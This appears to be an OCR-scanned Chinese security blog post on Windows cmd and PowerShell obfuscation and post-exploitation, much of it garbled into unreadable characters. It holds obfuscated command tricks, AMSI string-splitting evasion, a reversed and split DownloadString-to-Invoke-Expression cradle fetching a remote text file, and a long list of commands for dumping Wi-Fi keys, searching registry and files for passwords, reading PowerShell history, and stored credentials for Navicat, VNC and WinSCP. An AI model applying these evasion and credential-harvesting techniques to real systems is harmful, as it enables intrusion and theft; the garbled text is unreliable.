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TR, SR Z R

LRI— 1 ARRIEE], ZFARAY hids IREFNIT whoami, HWADMWR, FTIEZHIT wh'o"aM™i, EEHIT cmd /c ",
((Wrhrora*Mhi))" MEHARNE, TEmBoKE), BARETXE, NEMAEXEEREE—THRAECH—EREE, ERE1
HERERY, REEAEILT cmd/powershell SEITE RIS

(1) HWHES / KNS
B " W3IS, ~ RES, &S, ES, 55, REI—LEHN

TlT>wh o aM 1

ATA_N 1NCe0 ri

“>emd /e 7,
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https://xzfile.aliyuncs.com/media/upload/picture/20211214204033-0736eb60-5cdb-1.png
http://192.168.1.102:1337/axgg.txt
https://xzfile.aliyuncs.com/media/upload/picture/20211214215915-06169766-5ce6-1.png

= =2
=

STHEERL

farivar- o]

fma=d
Fubs

SREE:

BIEETE:
BT

AIEIRTIE]:

BEi=

SMMIRIEREAE

FEEE  LASmES

|axgg.txt

STACTE ()

) e==

CA\Users\xinxin\Desktop
4FT 4 FE)

0FH

20215128148, 1%:23:56
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ORErR WG

SR, BIEEmEHE R Crl+G,

(0.

Do N

RO

BE¥ C:\Windows\System32\cmd.exe - [m] X

-

shell.exe -

AT

dirsearch

147 815 100% Windows (CRLE) UTF-8
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HMERER, XERMRTEHNFEE(UMEZ+—MMN w ] m RET

SR, B MBSRENMETE, FKARSRT

set a=cmd /c whoami

%a% BNa]

MRTESABAINESEINNEEEHKRES, " X515, " RAS, 5, ES, 25HSE—&, WERUARIEFNER
B9, cmd /c “set al=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%"”

ACMMMD, , , , /7, o, , , (shet » wh3=i"pco) , )&& (S*Et * eH*"P=n"fig)& , , C"aLl, sE"t GyHE=%wW"3%%eH"P%& , ,
%LoCalLAPpdata:~ —3,+1%%pRoGramw6432:~9,1%d, ,/"R, , %Gy"HE%"
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(3) for &, X ERIEFAREAN
for /T "tokens=4 delims=\" %f in ("c:\windows\system32\whoami\") do %f
delims &M \ 2&l, tokens BHE/LRDEI, FHMINEILXDEIFZE whoami, FRAFFTEN

f “tokens=4 delims f in (7 woamit”) do %f
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(4) FIFE powershell
FF powershell # base64 %5

/enco dwBc¢
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HR, BRI fuzzing — NMEKRZAREY powershell

powershell —version 3/2/1

FA windows A4 api

Get-WmiObject —Class Win32_UserAccount // BA%E, el ARARIEMIFHRGSNHET S
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FAFEM=
dir "Registry:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" —Name

(https://xzfile.aliyuncs.com/media/upload/picture/20211214214842-8ce6d3e8-5ce4-1.png)
BESR 3T powershell, X)Lk E812—12 powershell BRE BRI, RMEEEEIE, LHBEHRE

FoRHE

Scontext = "amsi” + "context”

Write-Host $context

asciit&lg

Write-Host([char]97 +[char]109+[char]115+[char]105+[char]101+[char]111+[char]110+[char]116+[char]101+[char]120+[char]116)
FTEiE

Svar = "context"

Write-Host "amsi+$var"amsi+context

Write-Host "amsi$var”

FrrtEtl

$string = "amsi{0}{1}" -f "con”,"text”

Write-Host $string

PrERER

$replace = "amsiABCDEF" -replace" ABCDEF","context]
Write-Host $replace

PRIEBERE
$a=")"txt.gxxa/7331:1.0.0.721//:ptth’'(gnirtSdaclnwoD"
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%$a = $a.ToCharArray()

[Array]:Reverse($a)

-join %a

HHES

KEIS: Invo'ke-Ex'prie’s'sion

3|5 DownloadStrina('ht'+'tp:'+'//127.0'+".0.1:13'+'3'+'7/'+'ax’ +'xa.t'+'xt"
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(5) @A I A Dosfuscation
Invoke-DOSfuscation // 25l
TUTORIAL // FFiBi&EHR
SET COMMAND whoami // IIZ{REHITHS S

B C:\Windows\System32\cmd.exe

if 14 EQU +2

if 11 EQU +2
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(1) ENER

gwinsta S EETLEF

wmic logicaldisk where DriveType=3 get DeviceID S EERAELT

wmic useraccount get name,sid S EEBERFHs1d
cacls c:\ /S BECAIIIKIRECET

cacls c:\windows\ma.exe //EEma. exeRIXRECE

icacls C:\Windows S/EEXMHAIACLIER

nbtstat -A 127.0.0.1 S/ EERMENAIbIosE

Get-WmiObject -class win32_product |Select-Object -Property name,version: WEENHRERAER

(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.149.135"
).UsernameHint /ST B &S T IP

Get-WinEvent -FilterHashtable @{logname="Application”;} EEapplicationHE

Get-CimInstance Win32_DCOMApplication S/ EEDCOMX 14

(2) t&EIEE
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netsh wlan show profile //BEEEIHwLfL

netsh wlan show profile WiFi-name key=clear FXEXIIN wifi #9Z%fEie {{IB / /33 Mwi f 1B RS

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan s
how profiles %j key=clear //EnBwi fiZHg

for /1 %i in (1,1,255) do @ping 172.16.0.%i -w 1 -n 1 | find “TTL=” //windows BRI
s

for /1 %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /1 %b in (1,1,255) do start cmd /c "ping 172.29.%a.%b
-1 1 -n1-11>172.29.%a.%b.txt" // ZETERR

findstr /s /m "password" *.* //EHBI B RIT B ZWE & B passwordiysZ it
*

dir c:\a.txt /s /b //EHcEMa. txt

Get-Content (Get-PSReadlineOption).HistorySavePath //powershell@<{HAEILE, NRGLHERE,

A EEpowershel 1AYtxt
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%appdata¥%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

RS

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers XM HEIEF#ImstschYiE®, userna
meNFAF &

HKEY_CURRENT_USER\Software\Microsoft\Windows Script\Settings\AmsiEnable ZHAMSI(FEESMR)
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name> MYSQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name> MariaDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name> MongoDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name> Microsoft SQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name> Oracle
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name> PostgreSQL

I R e Lt L e E Ll s S U NN ~ o, ~~ - ~An



HKEY_CUKKENI _USER\>OTtware\rremiums>orti\NavicatsyLite\derversi\<your connection name> SUL1te

HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver RealVNC

HKEY_CURRENT_USER\Software\TightVNC\Server Value //TightVNC

HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 TigerVNC

HKCU\Software\Martin Prikryl\WinSCP 2\Sessions WinSCP

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /s //E
EREAZR

reg query itEHI\HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs //BERNRIEE

BERAN IR RBBNFE
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

FEET _CURRENT U3

(https://xzfile.aliyuncs.com/media/upload/picture/20211214220857-60ecdff0-5ce7-1.png)
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copy x.jpg/b+12.php 3.jpg S/ HIE—iE

iexpress //windows 5 HRIEEmR S
makecab . exe //windows B #HIE R <
makecab 1.doc 1.zip SEERIEERE S, zip, rar,cab

expand 1.zip 1.doc SRS

dir /b >>name.txt S/IB BRI Z X HE S A txt
makecab /f name.txt /d maxdisksize=1024000 S RIEIEGE

expand 1l.cab -f:* c:\test\ SRR

set http_proxy=http://127.0.0.1:1080 S/ 5 emdfCFE

secpol.msc VILAL S ke .

taskkill /pid 1080 /f S/ KITHFE

copy *.txt 1.txt type 1.txt S/ ¥EZE R TR tXtEHIFL. txt, BEEEL. txt
mstsc /admin /v:ip mstsc /console /v:ip S IBFEERE
certutil.exe -hashfile 1.txt //TtEX frhash
attrib C:\test.exe +s +h //TEiEexe

>>b.txt set/p="123" < nul s/KTFecho >>EHF—1FFEBahg{T, 413/ naRE
net share everyone=C:\Windows /grant:everyone,full Vit =t

echo 123 > axgg: : $INDEX_ALLOCATION S/ XTI

rd axgg: : $INDEX_ALLOCATION /IR 1

EXERHRIHE RIS, BEEAIMER EMNHT



